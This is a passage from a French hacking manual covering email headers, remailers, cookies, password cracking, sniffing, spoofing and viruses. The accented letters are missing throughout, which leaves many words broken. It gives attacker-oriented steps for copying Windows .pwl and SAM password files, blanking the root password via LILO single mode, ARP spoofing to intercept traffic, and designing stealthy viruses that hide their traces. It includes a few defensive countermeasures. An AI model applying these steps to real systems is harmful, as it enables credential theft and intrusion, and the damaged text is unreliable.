des cookies, de leur formation, de leur constitution, et de leur fonctionnement.

messages lectroniques :
Tout message transmis par internet est constitu de 2 parties : len-tte (header) et le
corps (body).

Champs de base :
Voici la description des champs de base de len-tte dun message :
Date: : fournit la date et lheure de la rdaction du message.
From: : fournit ladresse de la personne ayant mis (transmis) le message.
To: : fournit ladresse du destinataire.
Subject: : fournit lobjet (ou sujet) du message.

Autres champs :
Cc: : (Carbon Copy, copy carbone) permet denvoyer le message plusieurs
personnes ; il peut contenir plusieurs adresses de messageries spares par des
virgules.
Bcc: : (Blind Carbon Copy, copie cabone cache), comme Cc : , permet
denvoyer le message plusieurs personnes, la diffrence est quavec Bcc : , les
diffrents destinataires ne savent pas quelles autres personnes le message a t
envoy.
Reply-To: : permet de spcifier une adresse de retour autre que celle mis dans
From :.
Message-id: : ceci est lidentifiant unique du message, gnr par le logiciel de
messagerie.
Received: : champ ajout par un serveur SMTP ds quil le reoit et avant son
envoie au relais suivant.

93

aprs le from , on retrouve ladresse DNS de la


machine sur lequel le logiciel de messagerie (du rdacteur) est excut ; puis aprs le
by, ladresse DNS du serveur SMTP qui a ajout ce champ ; puis on a le protocole
utilis et lid du message ; et enfin ladresse de messagerie du destinataire et la date
de rception du message.
Constitution de ce champs:

From ( ne pas confondre avec le From de base qui contient deux points : ) et
Return-Path: contiennent une adresse qui permet de remonter lexpditeur. (a
peut servir quand on a affaire un spammer). Ces champs sont ajouts par le dernier
relai dlivrant le message.
Sender: contient une adresse lorsque From: nest pas celle de la personne ayant
rellement mis le message.
Resent-From: contient ladresse de la personne qui a crit le message
(normalement cest la mme personne que celle layant mis, jai bien dit
normalement)
Pour ceux qui veulent aller plus loin, sachez que certains en-ttes HTTP ont les
mmes en-ttes que ceux tant dans les messages lectroniques. Cela peut permettre
de contourner certaines protections tant dans les logiciels de messageries gratuites
(comme Hotmail) en travaillant directement dans les en-ttes des messages
lectroniques.

messageries anonymes :
A quoi peuvent bien servir les messageries anonymes ?
Se protger, se cacher, masquer la source (lexpditeur) dun message. Oui, cest vrai,
mais pas seulement, cela peut aussi servir ne pas fournir aux destinataires (ou pirate
sniffant ou contrlant un systme qui r-achemine des paquets comme des serveurs et
des routeurs) les informations contenues dans les en-ttes de messages
Maintenant, nous allons voir diffrents moyens pour tre anonyme sur internet avec
notre messagerie.

les webmails gratuites :


Vous devez connatre les domaines du genre hotmail.com et netcourrier.com ou
caramail.com ?
Et bien, ce sont leur service de messagerie gratuite qui va nous permettre davoir une
adresse de messagerie anonyme. Bien sur, ne donner pas vos vrais nom et prnom
lors de lenregistrement sinon o passe votre anonymat !!!

94

les remailers anonymes :


Ils sont encore mieux que les messageries gratuites car les messages lectroniques
passent par plusieurs serveurs SMTP que lon dit relais. Ce qui rend cette technique
vraiment anonyme, est que les serveurs SMTP relais suppriment les champs
Received : des serveurs SMTP relais prcdant. Donc, grce cette technique,
seul le dernier serveur SMTP relais est sauvegarder dans len-tte du message
lectronique avec len-tte Received : . Il est donc thoriquement impossible que
lon remonte lmetteur.
Anonymizer.com un service de remailer anonyme.

Conclusion :
Utiliser les 2 techniques nonces dans cette partie pour votre anonymat.

les cookies :
Vous avez dj du entendre parler des cookies , ces petits fichiers textes contenant
des informations envoyes par le serveur au client et tant stocks par le client (vous
si vous prfrez).
En 1990, Montulli de Netscape, cra le cookie pour quil puisse assurer une certaine
persistance dans la communication sur le web (comme les transactions).

En-ttes des cookies :


Len-tte Set-Cookie : il est insr dans len-tte dune rponse envoye par un
serveur un client dans le but de le positionner chez le client. Voici sa syntaxe:
Set-cookie : NOM=VALEUR ; expires=DATE ; domain=DOMAINE ;
path=CHEMIN; secure
NOM=VALEUR
expires=DATE

Nom du cookie et sa valeur (champ obligatoire)


Date dexpiration du cookie (champ optionnel)
Permet de spcifier le domaine pouvant avoir accs au cookie (champ
domain=DOMAINE optionnel). Si ce champ nest pas spcifi seul le serveur ayant cr (ou
gnr) le cookie peut y avoir accs.
path=CHEMIN
Permet de spcifier le prfixe des URL o le cookie est utilis et
appliqu (champ optionnel)

95

secure

Champ qui, sil est mis, envoie le cookie et sa valeur seulement lors de
connexions chiffres laide de SSL.

Len-tte Cookie : permet dinclure la valeur dun ou plusieurs cookie(s) dans


une requte HTTP lintention dun serveur. Voici sa syntaxe :
Cookie : Nom1=Valeur1 ; Nom2=Valeur2 ;

Comment les serveurs accdent aux cookies ? :


Lorsque vous visitez un site qui a plac un cookie sur votre systme, votre
navigateur va vrifier sil a un cookie appartenant au site quil visite en comparant
le nom du site et la liste de cookie quil a.
Si la rponse est affirmative, il compare lurl de la requte HTTP du site
demandant le cookie et le champ path du cookie ; sil y a concidence entre ces 2
arguments, et que la date dexpiration nest pas atteinte alors le cookie est envoy
au serveur. Si plusieurs cookies ont pass tous les test de validits prcdents, ils
seront tous envoys au site grce len-tte Cookie tudi prcdemment.
Si la date de validit du cookie est atteint, alors le cookie est supprim
directement.

Fausses informations:
Les cookies ne sont pas des virus, car ce sont simplement des fichiers textes
ouverts avec le bloc note donc il est impossible de pouvoir faire excuter des
scripts sur le poste du client.
Comme un cookie ne peut tre ni un script ni un virus ni un programme, alors il
ne peut pas lancer de recherche sur le systme du client dans le but dy rechercher
des informations.
Comme le stockage des cookies est limit, il est impossible de porter une attaque de
type DoS sur le systme du client (en tout cas pour le moment, on ne sait jamais ce
que lavenir nous rserve).

96

97

Cracking
et
contournement de mots de passe
Ce chapitre pratique est orient comprhension des techniques du piratage des mots
de passe.
Avant de continuer, je veux vous prvenir que je ne dcrirais pas la technique qui
consiste essayer manuellement des mots de passe car des fois on est limit dans le
nombre d'
essais.

BIOS :
Il existe diffrentes techniques pour enlever ou cracker un mot de passe BIOS.
Pour savoir comment l'
on accde au Bios, comment il fonctionne, rfrez-vous au
manuel de votre carte mre.

le cavalier :
La technique la plus simple et qui fonctionne chaque fois est le dplacement du
cavalier (jumper) qui a pour but deffacer les donnes contenues dans le CMOS (cf le
manuel de votre carte mre). Ce cavalier est gnralement situ ct de la ROM
BIOS.
Protocole : changer le cavalier de positions (gnralement en position 2-3) attendre
quelques secondes puis le replacer en position initiale. Si tout s'
est bien pass, on ne
devrait plus avoir de mots de passe au dmarrage.

un peu de technique :
En dcidant de travailler sur la carte mre pour avoir le mot de passe BIOS, on peut
flasher le Bios en le reprogrammant l'
aide reprogrammateur de EEPROM. Il y a
bien sr une chance sur deux de russir. De plus, il faut avoir des bases en
lectronique, en hardware, ou en overclocking car on risque de perdre votre carte.

la pile :

98

Cette technique ncessiter aussi de travailler sur la carte mre. Cette pile se situe sur
la carte mre, elle permet la sauvegarde d'
informations comme lheure systme
Il faut la localiser puis la dcharger en l'
enlevant pendant une journe voir plus.

des logiciels :
Certains logiciels nous propose de voir le mot de passe BIOS du systme. Mais il faut
avoir au moins une fois accs au systme d'
exploitation pour pouvoir les installer.
Voici 2 logiciels permettant de voir le mot de passe du BIOS :
AMI BIOS RECOVER
AWCRACK

les fichiers de mots de passe :


Pour trouver les mots de passe des fichiers password (ou fichiers de mots de passe), il
faut utiliser les logiciels de cracking de mots de passe. Les plus importants sont John
the Ripper, LophtCrack du Lopht, Crack

Windows 95/98 et les fichiers .pwl :


Le fichier de mots de passe de Windows 9x est le fichier ayant comme extension .pwl
se situant dans le rpertoire C:\Windows\. Ce fichiers est bien sr crypt et les
logiciels cits prcdemment sont capables de le dcrypter.
Pour rcuprer ce fichier, il y a une panoplie de choix.
Les techniques les plus simple seraient :
- l'
utilisation dune disquette contenant un fichier batch qui aurait pour but de
copier le fichier .pwl du rpertoire C:\Windows\ vers la disquette pour
quon le dcrypte sur son ordinateur. Le fichier batch pourrait contenir un
code du genre : copy C:\Windows\*.pwl a:
- de contourner l'
utilisation des fichiers .pwl ds le dbut du lancement de
l'
ordinateur. Il faut pour cela avoir un cran MS-DOS l'
aide d'
une disquette
de dmarrage et renommer tous les fichiers .pwl en ce que nous voulons,
normalement on devrait pouvoir accder au systme sans mot de passe ou
pouvoir affecter un nouveau mot de passe au compte.

Windows NT et le fichier SAM :


Le fichier de mot de passe de Windows NT est le fichier SAM qui situe dans le
rpertoire C:\Windows\system32\config\ ou C:\WinNT\system32\config ( vous de
voir, c'
est peut-tre autre chose) .

99

Le fichier SAM se craque l'


aide de lophtcrack, john the ripper, crack5.
Pour rcuprer le fichier SAM, on peut :
- soit dmarrer lordinateur avec un autre systme et prendre le fichier
SAM qui nest plus protg par le systme Windows.
- soit installer (il faut pouvoir installer des utilitaires) NTFSDOS (le
pilote du systme de fichier NTFS) pour monter les partitions NTFS en
lecteur DOS logique. On peut maintenant prendre le fichier SAM qui
nest plus protg par Windows.
- soit le rcuprer dans le rpertoire C:\Windows\repair\ ou encore
C:\WinNT\repair\ qui correspond lutilitaire de rparation de disque
ou de dpannage. Le fichier SAM est gnralement sous forme :
sam._
- On peut aussi utiliser une technique cre avec des hooks systmes ou
dautres fonctions des APIs Windows pour prendre le fichier SAM
distance ( laide de vers-virus par exemple) ou utiliser une technique
dinjection DLL.
- soit utiliser les cls HLM\SECURITY\Policy\Secrets qui possdent des
informations que seul votre systme doit connatre : des informations
confidentiels comme des mots de passe.

Unix et ses fichiers passwd et shadow :


Unix utilise des fichiers distants pour stocker les logins et les mots de passe,
respectivement /etc/passwd et /etc/shadow.
Pour les dcrypter, on peut soit utiliser john the ripper, soit crack.
Pour les rcuprer, on peut infiltrer le serveur NIS quaurait peut-tre install
l'
administrateur, copier les fichiers passwd, shadow et group du rpertoire /etc/NIS,
ou contourner l'
authentification par mot de passe l'
aide de LILO.
LILO est une application charge de lancer Linux la fin des actions du BIOS. LILO
est une application double tranchant car il permet de dmarrer un systme Linux
l'
aide d'
arguments fournit par l'
utilisateur. Il peut servir faire de la maintenance mais
aussi dmarrer des systmes sans mot de passe.
Pour accder linvite LILO, il faut garder la touche MAJ du clavier appuye lors du
dmarrage de lordinateur. Normalement, il devrait y avoir un truc du genre LILO:
.
Vous pouvez alors :
- soit taper linux single (sans les guillemets) puis mount w n
o remount/ qui remonte la partition en lecture/criture. Maintenant ditez
le fichier /etc/passwd pour quil ressemble :

100

root::0:0:root:/root:/bin/sh (sans les guillemets). Si linux utilise


le fichier shadow pour stocker les mots de pass, /etc/passwd doit ressembler
: root:x:0:0:root:/root:/bin/sh (sans les guillemets).
- soit taper <nom_image_du_kernel>
init=[un_shell_par_ex,_sans_les_crochets]

les mots de passe des crans de veille :


Les crans de veille avec un mot de passe sont de trs bons systmes pour masquer ce
que l'
on fait sur son bureau lorsque l'
on s'
absente deux minutes.
Voyant les diffrentes techniques de contournement des crans de veille

le simple redmarrage :
Pour contourner un cran de veille ayant un mot de passe, le redmarrage est un bon
moyen qui ,cela est vrai, ne sert rien, car la personne effectuant ce redmarrage ne
pourra voir ce que vous tiez en train de faire.

les logiciels :
Vous pouvez aussi utiliser les logiciels comme Sreen Saver Password
(www.ptorris.com).
Ce logiciel fonctionne avec le fichier user.dat disponible dans le rpertoire de la
session de l'
utilisateur soit C:\Documents and
Settings\[nom_de_utilisateur] sous Windows XP Pro service Pack 1. Pour
les autres systmes bas sur NT, explorer vos rpertoires C:\ ou C:\Windows\ ou
encore C:\Windows\Profiles\ la recherche du rpertoire de la session cible.

regedit :
Le mot de passe de l'
conomiseur dcran est aussi situ dans la base de registre, dans
la cl : HKEY_Users\.Default\Control Panel\ScreenSave_data
La cl peut changer selon votre version de Windows.
Vous pouvez aussi fouiller les cls commenant par HKEY_CURRENT_USER\ ou
HKEY_USER\

Astuce : crer un programme qui parcourt les prcdentes cls la recherche


d'
informations.

101

autorun.inf :
Les CD peuvent, sils sont quips d'
un fichier autorun.inf, lancer automatiquement
des fichiers ou programmes ds leur entre dans le lecteur CD-ROM.
Cette caractristique fonctionne aussi lorsque l'
on lance l'
cran de veille. Donc
imaginer un CD ayant un fichier autorun.inf qui contienne ladresse (sur le cd) d'
un
cracker de mots de passe d'
cran de veille aprs open= du fichier autorun.inf .
Pour information, tout les chemins daccs des logiciels ou des fichiers tant aprs
open= sont excuts automatiquement lors de l'
insertion du cd dans le lecteur.

divers :
Il existe des logiciels pour cracker diffrents types de documents protgs par mots de
passe comme les fichiers ZIP, ARJ
Des sites comme celui de Pierre Torris (www.ptorris.com) et la plupart des sites
warez proposent des crackers de mots de passe de tout genre.

Cracking dune scurit javascript :


Certains sites utilisent ce mcanisme pour filtrer les personnes autorises accder
une page.
Comme on ne peut accder au code source de la page quaprs stre bien authentifi,
les webmasters marquent parfois le mot de passe en clair dans le code inclut entre les
balises javascript (qui est affich dans le code source contrairement au PHP).
Notre but est de dcouvrir ce mot de passe daccs. Pour cela, ouvrez votre
navigateur et le dossier Temporary Internet Files . Puis connectez-vous la page
protge avec laide de votre navigateur et entrez un mot de passe bidon.
Allez ensuite dans le rpertoire ouvert et recherchez la page correspondant la page
frachement visite et tant protge.
Astuce : videz le rpertoire Temporary Internet Files avant de faire la manuvre.
Lorsque vous laurez trouv, ouvrez-la avec un diteur HTML ou avec le bloc note,
recherchez le code javascript puis le mot de passe qui est soit en clair, soit chiffr.
Maintenant, rafrachissez la page protge et entrez le mot de passe trouv

102

Parades :

- la 1re parade consiste choisir un bon mot de passe.


- la 2me parade consiste modifier la mthode d'
authentification
quutilisent les logiciels et les systmes d'
exploitation.

103

104

Sniffing
Le sniffing est une technique du piratage que l'
on dit passive. C'
est surtout une
technique servant espionner le trafic dun systme en surveillant et en copiant les
paquets non crypts circulant sur le rseau cible : cela va permettre de rcuprer
diverses informations importantes pour un pirate. Contrairement ce que vous
pouvez croire et se que certains sites font croire, un sniffer ne permet pas
d'
espionner distance un systme loign et ne permet pas de contrler la formation,
le forgeage, la route et lacheminements dun paquet.
La principal source de russite du sniffing est que les informations (mots de passe,
logins, mails, requtes) circulant dans le rseau ne sont pas cryptes.
Comme il a t dit plus haut, un sniffer (logiciel permettant de faire du sniffing) ne
capture que les paquets passant par la carte rseau du systme sur lequel il est install.
Donc pour espionner le trafic du systme cible, il faut que ces paquets transitent par
notre carte rseau.
Un peu de pratique maintenant.

comment espionner un trafic rseau :


le mode promiscuit :
Avant, taient les rseaux poste poste. Ds qu'
un systme mettait un paquet, tous
les autres systmes connects lmetteur recevaient le paquet. Ctait la carte rseau
qui s'
occupait de savoir qui tait destin le paquet et laffichait ou non. Cela grce
un filtre.
Bien sr, ce filtre pouvait tre enlev, en faisant passer la carte rseau en mode
promiscuit.

ARP :
(cf le chapitre sur le dtournement de sessions et le spoofing)
Cela consiste associer l'
adresse IP de la passerelle par dfaut notre adresse MAC
(l'
adresse de notre carte rseau) . Comme cela, le trafic du systme cible passera par
notre carte rseau. Cette manipulation est effectuer sur les systmes s'
occupant du
routage comme les switchs, les routeurs ou sur le systme cible. Pour que le trafic
du rseau ne soit pas modifi et pour que lon ne remarque pas cette usurpation, on

105

doit activer lIP forwarding et ajouter une entre dans la table ARP de la cible pour la
vritable passerelle par dfaut.
On peut aussi modifier la table de routage du rseau de la cible. Le rsultat sera le
mme, associations de notre adresse MAC l'
adresse IP de la passerelle par dfaut.

lien direct :
On peut se connecter directement au systme cible :
- soit en appelant le modem de la cible avec le notre (c'
est la technique la plus
simple qui ne marche peut-tre plus encore) : on doit alors connatre le
numro de son modem que lon peut obtenir grce au wardialing.
- soit en utilisant une faille du genre : exploit netbios
- soit en utilisant un cheval de troie.

les diffrents sniffers :


Il existe diffrents sniffers pour tous les systmes dexploitation:
- TCPdumps
- Ethereal
- dsniff
- sniffit
- LANWatch
- Esniff
- ATM sniffer
- LinSniff
-

Parades :

- utilisez anti-sniff (qui repre les sniffers et les cartes rseau en mode
promiscuit),
- cryptez les paquets circulant sur le rseau,
- vrifiez rgulirement les tables de routage,
- dsactivez les protocoles non utiliss.

106

107

Le spoofing
Le spoofing est une technique de piratage qui a pour but dusurper les droits d'
une
personne ou de fournir de fausses informations pour se camoufler ou passer les
systmes de scurit.
Il existe plusieurs types de techniques de spoofing ayant des degrs de difficults
variables. Il y a par exemple le SMS spoofing, le mail spoofing, lIP spoofing, le
DNS spoofing, lUDP spoofing, , lARP spoofing, le MAC spoofing (en rapport avec
les adresses MAC) et on peut inventer encore pleins de technique !
Comme certains pourrait le croire cet ouvrage ntablit pas les bases pour crer de
nouvelles attaques, il veut seulement expliquer quen analysant les systmes et les
protocoles qui servent au bon fonctionnement des rseaux, on peut trouver des
faiblesses qui vont permettre de modifier certaines donnes ou d'
intercepter certains
signaux ou messages pouvant servir passer certaines scurits et faire croire un
systme qu'
il dialogue et fonctionne normalement. Cette mthode d'
analyse est aussi
utilise dans lhijacking (dtournement de session et de connexion).
Voyons maintenant diffrentes techniques de spoofing.

le SMS spoofing :
le SMS spoofing consiste envoyer des SMS avec un numro d'
expditeur ne nous
appartenant pas. Cela est possible l'
aide de logiciels comme Text2gsm
(www.download.com) ou en crant ses propres scripts.

le mail spoofing :
Le mail spoofing consiste envoyer des e-mails avec une adresse d'
expditeur
falsifie.
Cela est possible l'
aide de logiciels (comme toujours) servant envoyer des e-mails
ou faire du mail-bombing, l'
aide de scripts en PHP ou en PERL que vous pouvez
dvelopper.
La technique de mail spoofing prcdemment explique est la plus connue car est
la base du spam.
Maintenant, imaginez un serveur pop/imap secret, le serveur de l'
entreprise ou d'
un
gouvernement. Disons qu'
un pirate a dcouvert son existence et quil a russi
obtenir une dizaine d'
adresses de comptes mails tant hbergs sur ce serveur.

108

Pour savoir qui ils appartiennent, et les informations de connexion aux comptes, il
dcide d'
envoyer des messages lectroniques aux adresses obtenues en se faisant
passer pour ladministrateur. Pour l'
occasion, ils crer un client de messagerie
intgrant un mcanisme d'
accuser rception indiquant que le mail a bien accd au
serveur pop/imap cible. Mais aprs avoir envoy les mails, il ne reoit toujours pas de
rponses et dcide d'
infiltrer le serveur. Il passe des heures inspecter de fond en
comble la machine et accde enfin aux informations qui voulait : les logins et les
mots de passe des mail box. Tout content, il se dconnecte aprs avoir effacer ses
traces.
Le lendemain, en cours (car il y a quand mme des pirates tant jeunes), il repense
soudain son exploit de la veille et se demande pourquoi ces mails n'
ont pas accd
au serveur pop. Le soir venu, il se reconnecte au serveur et aprs une analyse
minutieuse, il dcouvre enfin que les mails sont filtrs au niveau des en tte SMTP
avant d'
tre dposs sur le serveur; il comprend vaguement que les e-mails doivent
avoir un certain mot dans leurs en tte pour tre accepts. Aprs des heures
d'
exprimentation, ces mails accdent enfin au serveur cible.
Ce petit scnario imagin a essay de faire comprendre que l'
on pouvait crer des
mcanismes de filtrage mme au niveau des messages lectroniques et que tout peut
tre contourner avec un peu de connaissances.

lIP spoofing
Cest l'
attaque la plus connue peut-tre grce Kvin Mitnik, le hacker le plus
mdiatis du monde, qui avait, daprs ce que lon dit, russi son attaque en faisant
une prdiction des numros des squences : nous verrons plus tard en quoi cela
consiste.
LIP spoofing consiste forger des paquets avec une adresse IP source ne nous
appartenant pas, notre adresse IP ne change pas ! contrairement ce que pourraient
croire certaines personnes.
En gros, on va truquer des paquets que nous enverrons notre cible.
D'
abord, voyons quelques concepts thoriques.

109

Il n'
existe pas de techniques toutes faites pour faire du spoofing car cela dpend de
l'
environnement dans lequel on se trouve :
- si le systme de scurit se trouve dans le mme segment rseau que
notre systme ou dans le mme rseau local, nous naurons qu forger
des paquets SYN et ACK, les envoyer, corriger leur cheksum
l'
aide dun sniffer, sniffer la rponse du systme cible, voir son
numro ACK, lincrmenter d'
une unit et renvoyer le paquet ACK
corrig dans un bref dlai. Cette technique, aussi simpliste qu'
elle soit
demande quelques rptitions et ne peut se faire d'
un coup.
- Si le systme cible est loign de notre systme, se trouve dans un autre
rseau : il peut y avoir deux solutions :
soit le systme cible renvoie un paquet SYN/ACK
l'
adresse spoofe. Il ne nous reste alors plus qu'
contrler
le systme qui appartient lIP spoof, y installer un
sniffer pour obtenir le paquet envoy par le systme cible
et renvoyer un paquet ACK corrig.

110

soit on ne reoit pas de paquets SYN/ACK. Il va falloir


prdire les numros de squences valides. Pour nous aider,
on peut faire un fingerprinting du systme cible pour avoir
une estimation de la difficult de la prdiction des
numros les squences. Le clbre Nmap intgre cette
fonctionnalit.
Le cours sur l'
IP spoofing est finie, vous avez du remarquer que cette technique est
trs puissante et demande quelque connaissances sur TCP/IP. titre informatif, l'
IP
spoofing est la base de lidle host scanning.

Parades :
-

il faudrait que les paquets qui circulent sur le rseau soit crypts,
empchez l'
identification du systme d'
exploitation tournant sur votre
systme en mulant ou en modifiant l'
implmentation de TCP /IP sur le
systme,
changez les techniques de filtrage habituel, par exemple, contre un jeu
de questions/rponses crypts entre les 2 systmes.

lUDP spoofing :
LUDP spoofing fonctionne peu prs comme lIP spoofing : il faut forger des
paquets truqus.
UDP est un protocole fonctionnant en mode dconnect au niveau 4 du modle OSI.
Que signifie en mode dconnect ? cela veut dire que UDP ne cherche pas
tablir des connexions entre les systmes, il se contente juste d'
un bon cheksum, d'
une
adresse IP source et de destination, dun port et des donnes.
Cela nous facilite grandement le travail car on n'
a qu'
forger les paquets UDP, y
insrer l'
IP source, lIP de destination, y mettre les donnes que l'
on veut et envoyer
le tout. Le cheksum est automatiquement dtermin.
Pour forger des paquets UDP, on peut utiliser RafaleX, Hping2, Winject

le MAC spoofing :
Cela consiste en la modification de l'
adresse de sa carte rseau.

le DNS spoofing :

111

Il existe 2 types de technique de DNS spoofing, nous en avons vu une (au chapitre sur
les outils et utilitaires automatiss) qui consiste faire des requtes un serveur DNS
sachant que normalement seuls les serveurs DNS secondaire sont censs faire ces
requtes.
La 2me technique les DNS spoofing a pour but de faire correspondre un nom dhte
au systme de notre choix.
L'
exemple le courant est le dtournement d'
une session pour rediriger la cible sur un
site de notre choix.
Cela est possible l'
aide de systmes de relais de paquets que l'
on aurait crs ou
contrls (cf les chapitre sur les dtournements de sessions) .

ARP spoofing :
D'
abord, voyons qu'
elle est la fonction du protocole ARP.
ARP est un protocole qui a pour but de rsoudre des adresses IP en adresses MAC.
Lorsqu'
une machine veut communiquer avec une autre machine dont elle connat lIP,
elle va envoyer une requte ARP tous les systmes d'
un rseau ( l'
aide du
broadcast) demandant l'
adresse MAC de IP spcifie.
La machine cible concerne va donc lui rpondre en lui donnant son adresse MAC.
Cette rponse va tre ensuite inscrite dans le cache ARP de la premire machine.
Toute cette manuvre est excute si et seulement si la machine A n'
a pas encore
d'
entre correspondant la machine B dans son cache ARP.
Toutes les attaques de ARP spoofing ont pour but de faire passer par le systme pirate
le trafic rseau de notre cible.
On va voir ensemble trois techniques de ARP spoofing qui consiste envoyer une
requte ARP (gnralement notre cible) pour lui dire que notre adresse MAC est
associ l'
adresse IP choisie (gnralement une passerelle par dfaut, un routeur ou
tout simplement le systme cible, si l'
on veut espionner le trafic entre deux systmes
bien dfinis) .

1re technique :
Elle n'
est possible que si le cache de la cible ne contient pas encore d'
entre
correspondant la machine dont on veut usurper ladresse IP. Cela va donc consister
en la cration d'
une entre dans le cache cible. Pour cela, il va falloir que l'
on forge un
paquet ARP associant notre adresse MAC l'
adresse IP a usurper. Puis, cette tape
finie, on va devoir envoyer ce paquet la cible, directement la cible (en unicast par

112

exemple). Le paquet ARP doit tre en mode who-as et avoir comme IP source,
celle a usurper, et comme adresse MAC source, la notre.

et si on mettait son cache jour ?


Cette technique doit tre utilise que si l'
on sait que le cache cible a dj une entre
non statique dans son cache ARP correspondant l'
adresse IP que l'
on veut usurper.
On va devoir forger un paquet ARP en mode reply que l'
on va envoyer la cible.
Le paquet doit avoir comme IP source, celle a usurper, et comme adresse MAC
source, la notre.

et si on faisait la course ?
Cette technique va demander rapidit d'
analyse et d'
envoi de paquets et de
nombreuses rptitions de notre part pour tre prts le jour J.
Lorsque la machine cible envoie un paquet au broadcast pour connatre l'
adresse
MAC de lIP spoofer, on va devoir renvoyer une rponse la machine mettrice, le
plus vite possible et invalider la machine devant normalement rpondre pour qu'
elle
ne puisse le faire.
Aprs avoir fait une de ces techniques, il faut activer (mettre 1) lIP forwarding.
Il existe divers programmes servant faire de lARP spoofing, en voici une liste :
Dsniff de Dug Song : qui a certains modules permettant de faire de
lARP spoofing et dautres attaques comme celle du MITM.
Jarpspoofing
arp-sk

Parades :

- il y a une parade digne de ce nom pour contrer cela, elle consiste


mettre des entres statiques dans le cache ARP. Bien sr cela est
possible que pour les systmes de type routeurs, passerelles par dfaut,
serveurs
- sinon, il y a une autre solution qui consiste mettre en place une
machine qui va questionner un serveur DHCP, ou un autre type de
serveur, avant qu'
une entre soit ajoute dans le cache ARP d'
un des
systmes du rseau. Bien sr, les pirates peuvent infiltrer et dtourner
ce systme leur profit mais cela reste quand mme une solution.

113

114

Programmes infectants et lutte anti-virale


Un programme infectant est un bout de code auto-reproducteur ou non qui excute les
actions, gnralement malfaisantes, de son constructeur.
Nous allons d'
abord voir diffrents types de virus puis nous allons tudier la
construction d'
un virus en observant sa constitution, en dernier, nous allons voir les
diffrentes mthodes de transmission du virus.
Virus

Vers
Troyen

virus rsident
virus polymorphe
virus furtif
Rtro-virus
virus compagnon

virus systme

Programme ntant pas auto-reproducteur (dit programme


simple), qui a pour but de se copier dans dautres
programmes encore sains et dexcuter ce pourquoi il a t
cr.
Programme auto-reproducteur qui voyage de systmes en
systmes dans le but de se multiplier.
Virus gnralement simple qui a pour but de donner son
concepteur ou celui qui la frauduleusement introduit dans
un systme le contrle de ce dernier.
Ce type de virus est prsent sur le systme de manire
permanente et est cr pour contrler un/des lments
prcis.
Virus qui a la possibilit de modifier son code dans le but de
ne pas tre indtectable.
Virus qui a not les paramtres du systme avant de le
contrler et qui fait croire au systme quil est normal.
Virus cr dans le but de prouver quun systme anti-virale
prcis nassure pas son rle.
Virus qui utilise une des caractristiques du DOS pour
fonctionner. En faite lorsquun programme est mis dans un
rpertoire, si lon crer un programme COM du mme nom
que le programme excutable, quon le place dans le mme
rpertoire que lhomonyme excutable et que lon essaie
daccder lexcutable, le DOS prfre excuter le fichier
COM en premier. Maintenant si le fichier COM est un virus,
on appelle cela un virus compagnon.
Virus se dupliquant dans des sections systmes
contrairement aux autres virus qui se copient dans des
fichiers.

On peut crer des virus avec nimporte quel langage, mais noublier pas que les vrais
programmeurs de virus prfrent le langage assembleur car il est plus proche du

115

systme et les programmes en assembleur sont de petites tailles. Donc que les futurs
crateurs de programmes infectant se mettent apprendre leur futur langage cl.
Certains pourraient dire que je donne les armes au public pour la cration de virus,
mais qu'
ils sachent que mon but premier n'
est pas la formation d'
apprentis
programmeurs des virus mais plutt de faire comprendre l'
enjeu des actions d'
un virus
pour que la communaut des internautes sache quoi elle est expose face ces petits
programmes.

constitution d'un programme infectant :


la base, tous les programmes infectant ont la mme constitution :
- une routine de recherche de lieux infecter (gnralement des fichiers)
- une routine de copie de code
- une routine de non-dtection de la prsence du virus
- une charge (ce pourquoi il a t cr)
Maintenant, voyons qu'
elle devrait tre la constitution d'
un programme infectant
parfait :
- pouvoir sexcuter sur tous les systmes sans problme et sans toucher
au code. Cela est possible grce aux langages REBOL et Perl (il y en
a dautres bien sr).
- avoir de bonnes routines de recherche de fichiers ou de systmes.
- pouvoir faire des copies de lui mme dans des endroits o l'
on ne
pourra pas le dtruire facilement : comme dans le noyau du systme,
dans les espaces mmoire, le BIOS, dans des squences de boot
- tre invisible, se camoufler pour qu'
il soit indtectable et intraable.
Son invisibilit peut passer par lutilisation de techniques de
polymorphisme.
- se suffire lui-mme au moyen de moteurs, de bases de donnes, de
librairies de fonctions puissantes. Ne pas utiliser les fonctions ou APIs
proposes par les systmes pour qu'
il garde sa portabilit.
- pouvoir voluer dans l'
environnement dans lequel il se trouve. Cela
peut se traduire par la cration dun ver qui analyse le systme sur
lequel il se trouve puis tlcharge le bout de code qui lui manque pour
voluer dans l'
environnement du systme sur lequel il se trouve.
- ne pas avoir de nom.
- excuter seulement ce pourquoi il est crit.
- se supprimer quand il a accompli son devoir.
- noter les informations quil modifie dans le but de tout remettre en
ordre sur le systme cible lorsqu'
il n'
a pas pu accomplir son devoir pour
quaucune personne ne remarque son passage.
- son code ne doit pas contenir de commentaires pour que l'
on ne puisse
remonter son dveloppeur.

116

Ces caractristiques ont t dveloppes partir du projet Samhein de Zalewski


(http://lcamtuf.coredump.cx) que vous pouvez consulter pour avoir d'
autre conseils.

comment transmettre les programmes infectant :


Cette partie du chapitre ne sera pas de grande taille, malgr le nombre incalculable de
possibilits de transmission d'
un programme infectant. Nous allons en voir certains
sans les dtailler car soit elles sont simples comprendre, soit les techniques
expliques sont dj dtailles dans le livre. Comme devoir, vous pouvez essayer de
trouver d'
autres moyens de transmission : prenez cela comme un exercice ayant pour
but de vous faire penser comme un pirate.
Les programmes ou script infectant et malveillant peuvent tre transmis par disquette,
disque dur, CD-ROM (contenant un fichier autorun.inf), DVD ROM, par le web, enttes HTTP, SMTP, MIME modifies, tlchargement dans le cache Internet, e-mail,
pices jointes, technologies du web (comme ActiveX, Javascript), contournement
des filtres, logiciels tlchargs, compression zip (qui peut faire voyager un virus sans
contaminer les postes sur lequel il passe : on est contamin si l'
on dcompresse le
virus)

la lutte anti-virale :
Nous allons observer les trois principales techniques de recherche anti-virale :
- analyse des signatures : qu'
est-ce que la signature d'
un programme ?
c'
est tout simplement une suite de donns (bits, caractres)
caractrisant le programme. Il en est de mme pour les programme
infectant.. Pour informations, les IDS fonctionnent sur ce principe
d'
analyse , ce qui est leur principal erreur car cette protection peut-tre
contournes.
- l'
analyse heuristique : c'
est une technique anti-virale plutt volue :
car elle consiste tudier et surveiller le comportement des
programmes. Ds qu'
un programme se comporte comme un virus, il le
dfinit comme un virus.
- l'
analyse spectrale : l'
antivirus va analyser ce que fait le programme
en recherchant la liste des instructions. Sil voit quune instruction
spcifique aux programmes infectant y est prsente, il met
automatiquement le programme en quarantaine.

Informations supplmentaires
la signature dun virus

117

La signature peut tre change (en faisant par exemple un virus polymorphe).
